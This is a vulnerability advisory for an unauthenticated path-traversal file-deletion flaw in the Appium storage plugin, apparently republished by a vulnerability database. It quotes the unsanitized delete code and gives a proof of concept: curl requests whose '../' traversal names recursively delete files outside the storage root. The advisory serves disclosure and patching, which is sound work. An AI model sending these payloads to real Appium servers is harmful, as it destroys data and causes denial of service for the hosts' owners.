appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin
Summary
The Appium storage plugin exposes an HTTP endpoint POST /storage/delete that takes a user-supplied name and deletes it from the server storage folder. The handler passes name straight into path.join(storageRoot, name) and then fs.rimraf() without any path sanitization. By sending a name containing ../ sequences, an unauthenticated remote client can escape the storage root and recursively delete arbitrary files and directories that the Appium process user can write, anywhere on the host filesystem.
The same plugin's upload path validates the name via fs.sanitizeName (requireValidItemOptions), but the delete path does not an asymmetry that makes the missing validation unambiguous.
Details
Published build (node_modules/@appium/storage-plugin/build/lib/storage.js), and source (packages/storage-plugin/lib/):
packages/storage-plugin/lib/storage.ts:65-75—Storage.delete():tsasync delete(name: string): Promise<boolean> { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; }packages/storage-plugin/lib/plugin.ts:77-83— handler passes raw body:tsSTORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); };
parseRequestArgs (plugin.ts:94-106) only checks that the key exists; it does not validate the value.
- Contrast — the upload path does sanitize:
storage.ts:53-54add()→requireValidItemOptions()(storage.ts:236-256) rejects anynamethat differs fromfs.sanitizeName(name).delete()skips this entirely.
PoC
- Install and start the server with the storage plugin:
bash
npm install appium@3.5.0 ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723
(Default --address is 0.0.0.0; 127.0.0.1 used here for a contained test.)
- Plant a victim file/dir outside the storage root, then delete via traversal:
bash
mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true} curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true}
Impact
An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.
What to do
Upgrade @appium/storage-plugin to version 1.1.6 or later.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @appium/storage-plugin | < 1.1.6 | 1.1.6 |
References
- https://github.com/appium/appium/security/advisories/GHSA-jwgx-mp9m-jwcr
- https://nvd.nist.gov/vuln/detail/CVE-2026-58192
- https://github.com/appium/appium/pull/22362
- https://github.com/appium/appium/commit/5fee01752f2782e96fbe64fd13520b433d4a7535
- https://github.com/appium/appium
- https://github.com/appium/appium/releases/tag/%40appium/storage-plugin%401.1.6
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N- Weakness (CWE)
CWE-22, CWE-73- Platform
- npm
- Package
@appium/storage-plugin- Disclosed
- 20.11.2026
- Updated
- 23.11.2026 00:08
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-jwgx-mp9m-jwcr - CC BY 4.0
Vulnerability history: @appium/storage-plugin
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.